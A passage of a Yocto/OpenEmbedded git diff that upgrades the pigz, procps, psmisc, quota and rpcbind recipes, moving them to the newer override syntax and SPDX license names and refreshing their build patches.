-SRC_URI[md5sum] = "def2f6e19d9d8231445adc1349d346df"
-SRC_URI[sha256sum] = "a4f816222a7b4269bd232680590b579ccc72591f1bb5adafcd7208ca77e14f73"
-PROVIDES_class-native += "gzip-native"
-
-# Point this at the homepage in case /fossils/ isn't updated
-UPSTREAM_CHECK_URI = "http://zlib.net/${BPN}/"
-UPSTREAM_CHECK_REGEX = "pigz-(?P<pver>.*)\.tar"
-
-DEPENDS = "zlib"
-
-EXTRA_OEMAKE = "-e MAKEFLAGS="
-
-inherit update-alternatives
-
-do_install() {
- # Install files into /bin (FHS), which is typical place for gzip
- install -d ${D}${base_bindir}
- install ${B}/pigz ${D}${base_bindir}/pigz
- ln -nsf pigz ${D}${base_bindir}/unpigz
- ln -nsf pigz ${D}${base_bindir}/pigzcat
-}
-
-do_install_append_class-native() {
- install -d ${D}${bindir}
- install ${B}/pigz ${D}${bindir}/gzip
- ln -nsf gzip ${D}${bindir}/gunzip
- ln -nsf gzip ${D}${bindir}/zcat
-}
-
-ALTERNATIVE_PRIORITY = "110"
-ALTERNATIVE_${PN} = "gunzip gzip zcat"
-ALTERNATIVE_${PN}_class-nativesdk = ""
-ALTERNATIVE_LINK_NAME[gunzip] = "${base_bindir}/gunzip"
-ALTERNATIVE_LINK_NAME[gzip] = "${base_bindir}/gzip"
-ALTERNATIVE_LINK_NAME[zcat] = "${base_bindir}/zcat"
-ALTERNATIVE_TARGET = "${base_bindir}/pigz"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/pigz/pigz_2.8.bb b/meta/recipes-extended/pigz/pigz_2.8.bb
new file mode 100644
index 0000000000..fcf0c93e41
--- /dev/null
+++ b/meta/recipes-extended/pigz/pigz_2.8.bb
@@ -0,0 +1,48 @@
+SUMMARY = "A parallel implementation of gzip"
+DESCRIPTION = "pigz, which stands for parallel implementation of gzip, is a \
+fully functional replacement for gzip that exploits multiple processors and \
+multiple cores to the hilt when compressing data. pigz was written by Mark \
+Adler, and uses the zlib and pthread libraries."
+HOMEPAGE = "http://zlib.net/pigz/"
+SECTION = "console/utils"
+LICENSE = "Zlib & Apache-2.0"
+LIC_FILES_CHKSUM = "file://pigz.c;md5=9ae6dee8ceba9610596ed0ada493d142;beginline=7;endline=21"
+
+SRC_URI = "http://zlib.net/${BPN}/fossils/${BP}.tar.gz"
+SRC_URI[sha256sum] = "eb872b4f0e1f0ebe59c9f7bd8c506c4204893ba6a8492de31df416f0d5170fd0"
+PROVIDES:class-native += "gzip-native"
+
+# Point this at the homepage in case /fossils/ isn't updated
+UPSTREAM_CHECK_URI = "http://zlib.net/${BPN}/"
+UPSTREAM_CHECK_REGEX = "pigz-(?P<pver>.*)\.tar"
+
+DEPENDS = "zlib"
+
+EXTRA_OEMAKE = "-e MAKEFLAGS="
+
+inherit update-alternatives
+
+do_install() {
+ # Install files into /bin (FHS), which is typical place for gzip
+ install -d ${D}${base_bindir}
+ install ${B}/pigz ${D}${base_bindir}/pigz
+ ln -nsf pigz ${D}${base_bindir}/unpigz
+ ln -nsf pigz ${D}${base_bindir}/pigzcat
+}
+
+do_install:append:class-native() {
+ install -d ${D}${bindir}
+ install ${B}/pigz ${D}${bindir}/gzip
+ ln -nsf gzip ${D}${bindir}/gunzip
+ ln -nsf gzip ${D}${bindir}/zcat
+}
+
+ALTERNATIVE_PRIORITY = "110"
+ALTERNATIVE:${PN} = "gunzip gzip zcat"
+ALTERNATIVE:${PN}:class-nativesdk = ""
+ALTERNATIVE_LINK_NAME[gunzip] = "${base_bindir}/gunzip"
+ALTERNATIVE_LINK_NAME[gzip] = "${base_bindir}/gzip"
+ALTERNATIVE_LINK_NAME[zcat] = "${base_bindir}/zcat"
+ALTERNATIVE_TARGET = "${base_bindir}/pigz"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/procps/procps_3.3.16.bb b/meta/recipes-extended/procps/procps_3.3.16.bb
deleted file mode 100644
index 2810ebd285..0000000000
--- a/meta/recipes-extended/procps/procps_3.3.16.bb
+++ /dev/null
@@ -1,76 +0,0 @@
-SUMMARY = "System and process monitoring utilities"
-DESCRIPTION = "Procps contains a set of system utilities that provide system information about processes using \
-the /proc filesystem. The package includes the programs ps, top, vmstat, w, kill, and skill."
-HOMEPAGE = "https://gitlab.com/procps-ng/procps"
-SECTION = "base"
-LICENSE = "GPLv2+ & LGPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://COPYING.LIB;md5=4cf66a4984120007c9881cc871cf49db \
- "
-
-DEPENDS = "ncurses"
-
-inherit autotools gettext pkgconfig update-alternatives
-
-SRC_URI = "git://gitlab.com/procps-ng/procps.git;protocol=https \
- file://sysctl.conf \
- "
-SRCREV = "59c88e18f29000ceaf7e5f98181b07be443cf12f"
-
-S = "${WORKDIR}/git"
-
-# Upstream has a custom autogen.sh which invokes po/update-potfiles as they
-# don't ship a po/POTFILES.in (which is silly). Without that file gettext
-# doesn't believe po/ is a gettext directory and won't generate po/Makefile.
-do_configure_prepend() {
- ( cd ${S} && po/update-potfiles )
-}
-
-EXTRA_OECONF = "--enable-skill --disable-modern-top"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
-PACKAGECONFIG[systemd] = "--with-systemd,--without-systemd,systemd"
-
-do_install_append () {
- install -d ${D}${base_bindir}
- [ "${bindir}" != "${base_bindir}" ] && for i in ${base_bindir_progs}; do mv ${D}${bindir}/$i ${D}${base_bindir}/$i; done
- install -d ${D}${base_sbindir}
- [ "${sbindir}" != "${base_sbindir}" ] && for i in ${base_sbindir_progs}; do mv ${D}${sbindir}/$i ${D}${base_sbindir}/$i; done
- if [ "${base_sbindir}" != "${sbindir}" ]; then
- rmdir ${D}${sbindir}
- fi
-
- install -d ${D}${sysconfdir}
- install -m 0644 ${WORKDIR}/sysctl.conf ${D}${sysconfdir}/sysctl.conf
- if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
- install -d ${D}${sysconfdir}/sysctl.d
- ln -sf ../sysctl.conf ${D}${sysconfdir}/sysctl.d/99-sysctl.conf
- fi
-}
-
-CONFFILES_${PN} = "${sysconfdir}/sysctl.conf"
-
-bindir_progs = "free pkill pmap pgrep pwdx skill snice top uptime w"
-base_bindir_progs += "kill pidof ps watch"
-base_sbindir_progs += "sysctl"
-
-ALTERNATIVE_PRIORITY = "200"
-ALTERNATIVE_PRIORITY[pidof] = "150"
-
-ALTERNATIVE_${PN} = "${bindir_progs} ${base_bindir_progs} ${base_sbindir_progs}"
-
-ALTERNATIVE_${PN}-doc = "kill.1 uptime.1"
-ALTERNATIVE_LINK_NAME[kill.1] = "${mandir}/man1/kill.1"
-ALTERNATIVE_LINK_NAME[uptime.1] = "${mandir}/man1/uptime.1"
-
-python __anonymous() {
- for prog in d.getVar('base_bindir_progs').split():
- d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_bindir'), prog))
-
- for prog in d.getVar('base_sbindir_progs').split():
- d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_sbindir'), prog))
-}
-
-# 'ps' isn't suitable for use as a security tool so whitelist this CVE.
-# https://bugzilla.redhat.com/show_bug.cgi?id=1575473#c3
-CVE_CHECK_WHITELIST += "CVE-2018-1121"
diff --git a/meta/recipes-extended/procps/procps_4.0.4.bb b/meta/recipes-extended/procps/procps_4.0.4.bb
new file mode 100644
index 0000000000..800384f22f
--- /dev/null
+++ b/meta/recipes-extended/procps/procps_4.0.4.bb
@@ -0,0 +1,97 @@
+SUMMARY = "System and process monitoring utilities"
+DESCRIPTION = "Procps contains a set of system utilities that provide system information about processes using \
+the /proc filesystem. The package includes the programs ps, top, vmstat, w, kill, and skill."
+HOMEPAGE = "https://gitlab.com/procps-ng/procps"
+SECTION = "base"
+LICENSE = "GPL-2.0-or-later & LGPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://COPYING.LIB;md5=4cf66a4984120007c9881cc871cf49db \
+ "
+
+DEPENDS = "ncurses"
+
+inherit autotools gettext pkgconfig update-alternatives
+
+SRC_URI = "git://gitlab.com/procps-ng/procps.git;protocol=https;branch=master \
+ file://sysctl.conf \
+ "
+SRCREV = "4ddcef2fd843170c8e2d59a83042978f41037a2b"
+
+S = "${WORKDIR}/git"
+
+# Upstream has a custom autogen.sh which invokes po/update-potfiles as they
+# don't ship a po/POTFILES.in (which is silly). Without that file gettext
+# doesn't believe po/ is a gettext directory and won't generate po/Makefile.
+do_configure:prepend() {
+ ( cd ${S} && po/update-potfiles )
+}
+
+EXTRA_OECONF = "--enable-skill --disable-modern-top"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
+PACKAGECONFIG[systemd] = "--with-systemd,--without-systemd,systemd"
+
+do_install:append () {
+ install -d ${D}${base_bindir}
+ [ "${bindir}" != "${base_bindir}" ] && for i in ${base_bindir_progs}; do mv ${D}${bindir}/$i ${D}${base_bindir}/$i; done
+ install -d ${D}${base_sbindir}
+ [ "${sbindir}" != "${base_sbindir}" ] && for i in ${base_sbindir_progs}; do mv ${D}${sbindir}/$i ${D}${base_sbindir}/$i; done
+ if [ "${base_sbindir}" != "${sbindir}" ]; then
+ rmdir ${D}${sbindir}
+ fi
+
+ install -d ${D}${sysconfdir}
+ install -m 0644 ${WORKDIR}/sysctl.conf ${D}${sysconfdir}/sysctl.conf
+ if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
+ install -d ${D}${sysconfdir}/sysctl.d
+ ln -sf ../sysctl.conf ${D}${sysconfdir}/sysctl.d/99-sysctl.conf
+ fi
+}
+
+CONFFILES:${PN} = "${sysconfdir}/sysctl.conf"
+
+bindir_progs = "free pkill pmap pgrep pwdx skill snice top uptime w"
+base_bindir_progs += "kill pidof ps watch"
+base_sbindir_progs += "sysctl"
+
+ALTERNATIVE_PRIORITY = "200"
+ALTERNATIVE_PRIORITY[pidof] = "150"
+
+ALTERNATIVE:${PN} = "${bindir_progs} ${base_bindir_progs} ${base_sbindir_progs}"
+
+ALTERNATIVE:${PN}-doc = "kill.1 uptime.1"
+ALTERNATIVE_LINK_NAME[kill.1] = "${mandir}/man1/kill.1"
+ALTERNATIVE_LINK_NAME[uptime.1] = "${mandir}/man1/uptime.1"
+
+python __anonymous() {
+ for prog in d.getVar('base_bindir_progs').split():
+ d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_bindir'), prog))
+
+ for prog in d.getVar('base_sbindir_progs').split():
+ d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_sbindir'), prog))
+}
+
+PROCPS_PACKAGES = "${PN}-lib \
+ ${PN}-ps \
+ ${PN}-sysctl"
+
+PACKAGE_BEFORE_PN = "${PROCPS_PACKAGES}"
+RDEPENDS:${PN} += "${PROCPS_PACKAGES}"
+
+RDEPENDS:${PN}-ps += "${PN}-lib"
+RDEPENDS:${PN}-sysctl += "${PN}-lib"
+
+FILES:${PN}-lib = "${libdir}"
+FILES:${PN}-ps = "${base_bindir}/ps.${BPN}"
+FILES:${PN}-sysctl = "${base_sbindir}/sysctl.${BPN} ${sysconfdir}/sysctl.conf ${sysconfdir}/sysctl.d"
+
+ALTERNATIVE:${PN}:remove = "ps"
+ALTERNATIVE:${PN}:remove = "sysctl"
+
+ALTERNATIVE:${PN}-ps = "ps"
+ALTERNATIVE_TARGET[ps] = "${base_bindir}/ps"
+ALTERNATIVE_LINK_NAME[ps] = "${base_bindir}/ps"
+
+ALTERNATIVE:${PN}-sysctl = "sysctl"
+ALTERNATIVE_TARGET[sysctl] = "${base_sbindir}/sysctl"
+ALTERNATIVE_LINK_NAME[sysctl] = "${base_sbindir}/sysctl"
diff --git a/meta/recipes-extended/psmisc/psmisc.inc b/meta/recipes-extended/psmisc/psmisc.inc
index 6ab1288152..23e98d21be 100644
--- a/meta/recipes-extended/psmisc/psmisc.inc
+++ b/meta/recipes-extended/psmisc/psmisc.inc
@@ -8,7 +8,7 @@ processes identified by name. The fuser command identifies the PIDs \
of processes that are using specified files or filesystems."
SECTION = "base"
DEPENDS = "ncurses virtual/libintl"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
SRC_URI = "${SOURCEFORGE_MIRROR}/psmisc/psmisc-${PV}.tar.gz"
@@ -19,38 +19,41 @@ inherit autotools gettext
# Upstream has a custom autogen.sh which invokes po/update-potfiles as they
# don't ship a po/POTFILES.in (which is silly). Without that file gettext
# doesn't believe po/ is a gettext directory and won't generate po/Makefile.
-do_configure_prepend() {
+do_configure:prepend() {
( cd ${S} && po/update-potfiles )
}
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+PACKAGECONFIG[selinux] = "--enable-selinux,--disable-selinux,libselinux"
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
PACKAGES =+ "fuser fuser-doc killall killall-doc pstree pstree-doc"
PACKAGES += "psmisc-extras"
-FILES_${PN} = ""
-RDEPENDS_${PN} = "fuser killall pstree"
+FILES:${PN} = ""
+RDEPENDS:${PN} = "fuser killall pstree"
-FILES_fuser = "${bindir}/fuser.${BPN}"
-FILES_fuser-doc = "${mandir}/man1/fuser*"
+FILES:fuser = "${bindir}/fuser.${BPN}"
+FILES:fuser-doc = "${mandir}/man1/fuser*"
-FILES_killall = "${bindir}/killall.${BPN}"
-FILES_killall-doc = "${mandir}/man1/killall*"
+FILES:killall = "${bindir}/killall.${BPN}"
+FILES:killall-doc = "${mandir}/man1/killall*"
-FILES_pstree = "${bindir}/pstree"
-FILES_pstree-doc = "${mandir}/man1/pstree*"
+FILES:pstree = "${bindir}/pstree"
+FILES:pstree-doc = "${mandir}/man1/pstree*"
-FILES_psmisc-extras = "${bindir}"
-FILES_psmisc-extras-doc = "${mandir}"
+FILES:psmisc-extras = "${bindir}"
+FILES:psmisc-extras-doc = "${mandir}"
inherit update-alternatives
ALTERNATIVE_PRIORITY = "90"
-ALTERNATIVE_killall = "killall"
+ALTERNATIVE:killall = "killall"
-ALTERNATIVE_fuser = "fuser"
+ALTERNATIVE:fuser = "fuser"
+
+ALTERNATIVE:pstree = "pstree"
diff --git a/meta/recipes-extended/psmisc/psmisc/0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch b/meta/recipes-extended/psmisc/psmisc/0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch
index ca13bdbd15..01335bdf40 100644
--- a/meta/recipes-extended/psmisc/psmisc/0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch
+++ b/meta/recipes-extended/psmisc/psmisc/0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch
@@ -1,4 +1,4 @@
-From 115fcf1daff18aa2f2e130d63704f04031878db0 Mon Sep 17 00:00:00 2001
+From 338d2d46d1c20ebadf317938af98d0532a62f8d4 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Thu, 24 Mar 2016 15:46:14 +0000
Subject: [PATCH] Use UINTPTR_MAX instead of __WORDSIZE
@@ -13,7 +13,7 @@ Upstream-Status: Pending
1 file changed, 8 insertions(+), 5 deletions(-)
diff --git a/src/peekfd.c b/src/peekfd.c
-index 5aa990a..7e8e3fc 100644
+index 36dff04..2b4b1dc 100644
--- a/src/peekfd.c
+++ b/src/peekfd.c
@@ -30,8 +30,11 @@
@@ -28,7 +28,7 @@ index 5aa990a..7e8e3fc 100644
#include <getopt.h>
#include <ctype.h>
#include <dirent.h>
-@@ -266,11 +269,11 @@ int main(int argc, char **argv)
+@@ -341,11 +344,11 @@ int main(int argc, char **argv)
if (WIFSTOPPED(status)) {
#ifdef PPC
struct pt_regs regs;
diff --git a/meta/recipes-extended/psmisc/psmisc_23.3.bb b/meta/recipes-extended/psmisc/psmisc_23.3.bb
deleted file mode 100644
index e569f1074b..0000000000
--- a/meta/recipes-extended/psmisc/psmisc_23.3.bb
+++ /dev/null
@@ -1,9 +0,0 @@
-require psmisc.inc
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3"
-
-SRC_URI = "git://gitlab.com/psmisc/psmisc.git;protocol=https \
- file://0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch \
- "
-SRCREV = "78bde849041e6c914a2a517ebe1255b86dc98772"
-S = "${WORKDIR}/git"
diff --git a/meta/recipes-extended/psmisc/psmisc_23.7.bb b/meta/recipes-extended/psmisc/psmisc_23.7.bb
new file mode 100644
index 0000000000..ea272cd92d
--- /dev/null
+++ b/meta/recipes-extended/psmisc/psmisc_23.7.bb
@@ -0,0 +1,9 @@
+require psmisc.inc
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3"
+
+SRC_URI = "git://gitlab.com/psmisc/psmisc.git;protocol=https;branch=master \
+ file://0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch \
+ "
+SRCREV = "9091d6dbcce3d8fb87adf9249a2eb346d25a562c"
+S = "${WORKDIR}/git"
diff --git a/meta/recipes-extended/quota/quota/fcntl.patch b/meta/recipes-extended/quota/quota/fcntl.patch
index 51a770ce6e..09a0c687b6 100644
--- a/meta/recipes-extended/quota/quota/fcntl.patch
+++ b/meta/recipes-extended/quota/quota/fcntl.patch
@@ -1,3 +1,8 @@
+From 00a456145531d194d3993c9f4cd404d5ca16c9df Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 6 Apr 2015 17:36:44 +0000
+Subject: [PATCH] quota: Fix build with musl
+
Include fcntl.h to pacify compiler errors on musl
like
@@ -9,20 +14,14 @@ Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
-diff --git a/quota.h b/quota.h
-index 4c21411..d20c217 100644
---- a/quota.h
-+++ b/quota.h
-@@ -182,6 +182,6 @@ enum {
- #endif
- #endif
-
--long quotactl __P((int, const char *, qid_t, caddr_t));
-+long quotactl (int, const char *, qid_t, caddr_t);
-
- #endif /* _QUOTA_ */
+---
+ quotacheck.c | 1 +
+ quotaio.c | 1 +
+ rquota_client.c | 4 ++++
+ 3 files changed, 6 insertions(+)
+
diff --git a/quotacheck.c b/quotacheck.c
-index 2cdf475..07c18a7 100644
+index bd62d9a..772a27d 100644
--- a/quotacheck.c
+++ b/quotacheck.c
@@ -19,6 +19,7 @@
@@ -46,7 +45,7 @@ index 94ae458..d57fc1a 100644
#include <sys/stat.h>
#include <sys/file.h>
diff --git a/rquota_client.c b/rquota_client.c
-index a3a4ae3..0ffe7a9 100644
+index 7f8e821..d48505a 100644
--- a/rquota_client.c
+++ b/rquota_client.c
@@ -19,7 +19,9 @@
diff --git a/meta/recipes-extended/quota/quota_4.05.bb b/meta/recipes-extended/quota/quota_4.05.bb
deleted file mode 100644
index c5da1e71ed..0000000000
--- a/meta/recipes-extended/quota/quota_4.05.bb
+++ /dev/null
@@ -1,34 +0,0 @@
-SUMMARY = "Tools for monitoring & limiting user disk usage per filesystem"
-SECTION = "base"
-HOMEPAGE = "http://sourceforge.net/projects/linuxquota/"
-BUGTRACKER = "http://sourceforge.net/tracker/?group_id=18136&atid=118136"
-LICENSE = "BSD & GPLv2+ & LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://rquota_server.c;beginline=1;endline=20;md5=fe7e0d7e11c6f820f8fa62a5af71230f \
- file://svc_socket.c;beginline=1;endline=17;md5=24d5a8792da45910786eeac750be8ceb"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/project/linuxquota/quota-tools/${PV}/quota-${PV}.tar.gz \
- file://fcntl.patch \
- "
-SRC_URI[md5sum] = "1c1dbd2cd3d680ccac661239b067e147"
-SRC_URI[sha256sum] = "ef3b5b5d1014ed1344b46c1826145e20cbef8db967b522403c9a060761cf7ab9"
-
-CVE_PRODUCT = "linux_diskquota"
-
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/linuxquota/files/quota-tools/"
-UPSTREAM_CHECK_REGEX = "/quota-tools/(?P<pver>(\d+[\.\-_]*)+)/"
-
-DEPENDS = "gettext-native e2fsprogs libnl dbus"
-
-inherit autotools-brokensep gettext pkgconfig
-
-CFLAGS += "${@bb.utils.contains('PACKAGECONFIG', 'rpc', '-I${STAGING_INCDIR}/tirpc', '', d)}"
-LDFLAGS += "${@bb.utils.contains('PACKAGECONFIG', 'rpc', '-ltirpc', '', d)}"
-ASNEEDED = ""
-
-PACKAGECONFIG ??= "tcp-wrappers rpc bsd"
-PACKAGECONFIG_libc-musl = "tcp-wrappers rpc"
-
-PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
-PACKAGECONFIG[rpc] = "--enable-rpc,--disable-rpc,libtirpc"
-PACKAGECONFIG[bsd] = "--enable-bsd_behaviour=yes,--enable-bsd_behaviour=no,"
-PACKAGECONFIG[ldapmail] = "--enable-ldapmail,--disable-ldapmail,openldap"
diff --git a/meta/recipes-extended/quota/quota_4.09.bb b/meta/recipes-extended/quota/quota_4.09.bb
new file mode 100644
index 0000000000..b779657dfc
--- /dev/null
+++ b/meta/recipes-extended/quota/quota_4.09.bb
@@ -0,0 +1,34 @@
+SUMMARY = "Tools for monitoring & limiting user disk usage per filesystem"
+SECTION = "base"
+HOMEPAGE = "http://sourceforge.net/projects/linuxquota/"
+DESCRIPTION = "Tools and patches for the Linux Diskquota system as part of the Linux kernel"
+BUGTRACKER = "http://sourceforge.net/tracker/?group_id=18136&atid=118136"
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://rquota_server.c;beginline=1;endline=20;md5=fe7e0d7e11c6f820f8fa62a5af71230f \
+ file://svc_socket.c;beginline=1;endline=17;md5=24d5a8792da45910786eeac750be8ceb"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/project/linuxquota/quota-tools/${PV}/quota-${PV}.tar.gz \
+ file://fcntl.patch \
+ "
+SRC_URI[sha256sum] = "9cdaca154bc92afc3117f0e5f5b3208dd5f84583af1cf061c39baa0a2bb142f9"
+
+CVE_PRODUCT = "linux_diskquota"
+
+UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/linuxquota/files/quota-tools/"
+UPSTREAM_CHECK_REGEX = "/quota-tools/(?P<pver>(\d+[\.\-_]*)+)/"
+
+DEPENDS = "gettext-native e2fsprogs libnl dbus"
+
+inherit autotools-brokensep gettext pkgconfig
+
+CFLAGS += "${@bb.utils.contains('PACKAGECONFIG', 'rpc', '-I${STAGING_INCDIR}/tirpc', '', d)}"
+LDFLAGS += "${@bb.utils.contains('PACKAGECONFIG', 'rpc', '-ltirpc', '', d)}"
+ASNEEDED = ""
+
+PACKAGECONFIG ??= "tcp-wrappers rpc bsd"
+PACKAGECONFIG:libc-musl = "tcp-wrappers rpc"
+
+PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
+PACKAGECONFIG[rpc] = "--enable-rpc,--disable-rpc,libtirpc"
+PACKAGECONFIG[bsd] = "--enable-bsd_behaviour=yes,--enable-bsd_behaviour=no,"
+PACKAGECONFIG[ldapmail] = "--enable-ldapmail,--disable-ldapmail,openldap"
diff --git a/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch b/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch
index b92f2cf7b1..79dc96050e 100644
--- a/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch
+++ b/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch
@@ -21,7 +21,7 @@ index 2dd9471..47a46c0 100644
AC_SUBST([_sbindir])
AC_CONFIG_COMMANDS_PRE([eval eval _sbindir=$sbindir])
+AC_SUBST([_sysconfdir])
-+AC_CONFIG_COMMANDS_PRE([eval eval _sysconfdir=$sbindir])
++AC_CONFIG_COMMANDS_PRE([eval eval _sysconfdir=$sysconfdir])
AC_OUTPUT([Makefile systemd/rpcbind.service])
diff --git a/systemd/rpcbind.service.in b/systemd/rpcbind.service.in
diff --git a/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch b/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch
index 434b6b1c4c..535f9ce20d 100644
--- a/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch
+++ b/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch
@@ -15,7 +15,7 @@ Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
3 files changed, 26 insertions(+), 3 deletions(-)
diff --git a/man/rpcbind.8 b/man/rpcbind.8
-index af6200f..2e6146b 100644
+index fbf0ace..66f7c08 100644
--- a/man/rpcbind.8
+++ b/man/rpcbind.8
@@ -11,7 +11,7 @@
@@ -27,17 +27,17 @@ index af6200f..2e6146b 100644
.Sh DESCRIPTION
The
.Nm
-@@ -107,6 +107,8 @@ will automatically add
+@@ -96,6 +96,8 @@ will automatically add
and if IPv6 is enabled,
.Li ::1
to the list.
+.It Fl p
+Bind for fixed UDP port number
- .It Fl i
- .Dq Insecure
- mode.
+ If no
+ .Fl h
+ option is specified,
diff --git a/src/rpcb_svc_com.c b/src/rpcb_svc_com.c
-index 8aef9e5..c2632a4 100644
+index 1743dad..07a1c75 100644
--- a/src/rpcb_svc_com.c
+++ b/src/rpcb_svc_com.c
@@ -48,6 +48,7 @@
@@ -60,8 +60,8 @@ index 8aef9e5..c2632a4 100644
int fd;
struct rmtcallfd_list *rmt;
SVCXPRT *xprt;
-+ struct __rpc_sockinfo si;
-+ struct t_bind taddr;
++ struct __rpc_sockinfo si;
++ struct t_bind taddr;
if ((fd = __rpc_nconf2fd(nconf)) == -1) {
if (debugging)
@@ -70,23 +70,23 @@ index 8aef9e5..c2632a4 100644
return (-1);
}
+
-+ if (fixed_port) {
-+ __rpc_fd2sockinfo(fd, &si);
-+ memset(&taddr, 0, sizeof(taddr));
-+ taddr.addr.maxlen = taddr.addr.len = si.si_alen;
-+ taddr.addr.buf = malloc(si.si_alen);
-+ if (taddr.addr.buf == NULL) {
-+ return -1;
-+ }
-+ *(unsigned short *)(&(taddr.addr.buf[0])) = si.si_af;
-+ *(unsigned short *)(&(taddr.addr.buf[2])) = htons(fixed_port);
-+ xprt = svc_tli_create(fd, nconf, &taddr, RPC_MAXDATASIZE, RPC_MAXDATASIZE);
-+ } else
++ if (fixed_port) {
++ __rpc_fd2sockinfo(fd, &si);
++ memset(&taddr, 0, sizeof(taddr));
++ taddr.addr.maxlen = taddr.addr.len = si.si_alen;
++ taddr.addr.buf = malloc(si.si_alen);
++ if (taddr.addr.buf == NULL) {
++ return -1;
++ }
++ *(unsigned short *)(&(taddr.addr.buf[0])) = si.si_af;
++ *(unsigned short *)(&(taddr.addr.buf[2])) = htons(fixed_port);
++ xprt = svc_tli_create(fd, nconf, &taddr, RPC_MAXDATASIZE, RPC_MAXDATASIZE);
++ } else
xprt = svc_tli_create(fd, 0, (struct t_bind *) 0, 0, 0);
if (xprt == NULL) {
if (debugging)
diff --git a/src/rpcbind.c b/src/rpcbind.c
-index 137011b..dc3d2d6 100644
+index 25d8a90..36a95b9 100644
--- a/src/rpcbind.c
+++ b/src/rpcbind.c
@@ -111,6 +111,7 @@ int runasdaemon = 0;
@@ -97,7 +97,7 @@ index 137011b..dc3d2d6 100644
char **hosts = NULL;
int nhosts = 0;
-@@ -869,7 +870,7 @@ parseargs(int argc, char *argv[])
+@@ -884,7 +885,7 @@ parseargs(int argc, char *argv[])
{
int c;
oldstyle_local = 1;
@@ -106,25 +106,25 @@ index 137011b..dc3d2d6 100644
switch (c) {
case 'a':
doabort = 1; /* when debugging, do an abort on */
-@@ -887,6 +888,9 @@ parseargs(int argc, char *argv[])
+@@ -902,6 +903,9 @@ parseargs(int argc, char *argv[])
if (hosts[nhosts - 1] == NULL)
errx(1, "Out of memory");
break;
-+ case 'p':
-+ fixed_port = atoi(optarg);
-+ break;
++ case 'p':
++ fixed_port = atoi(optarg);
++ break;
case 'i':
insecure = 1;
break;
-@@ -905,7 +909,7 @@ parseargs(int argc, char *argv[])
+@@ -920,7 +924,7 @@ parseargs(int argc, char *argv[])
break;
#endif
default: /* error */
- fprintf(stderr, "usage: rpcbind [-adhilswf]\n");
-+ fprintf(stderr, "usage: rpcbind [-adhpilswf]\n");
++ fprintf(stderr, "usage: rpcbind [-adhpilswf]\n");
exit (1);
}
}
--
-1.9.1
+2.25.1
diff --git a/meta/recipes-extended/rpcbind/rpcbind_1.2.5.bb b/meta/recipes-extended/rpcbind/rpcbind_1.2.5.bb
deleted file mode 100644
index aff00e56e6..0000000000
--- a/meta/recipes-extended/rpcbind/rpcbind_1.2.5.bb
+++ /dev/null
@@ -1,52 +0,0 @@
-SUMMARY = "Universal Addresses to RPC Program Number Mapper"
-DESCRIPTION = "The rpcbind utility is a server that converts RPC \
- program numbers into universal addresses."
-SECTION = "console/network"
-HOMEPAGE = "http://sourceforge.net/projects/rpcbind/"
-BUGTRACKER = "http://sourceforge.net/tracker/?group_id=201237&atid=976751"
-DEPENDS = "libtirpc quota"
-
-LICENSE = "BSD-3-Clause"
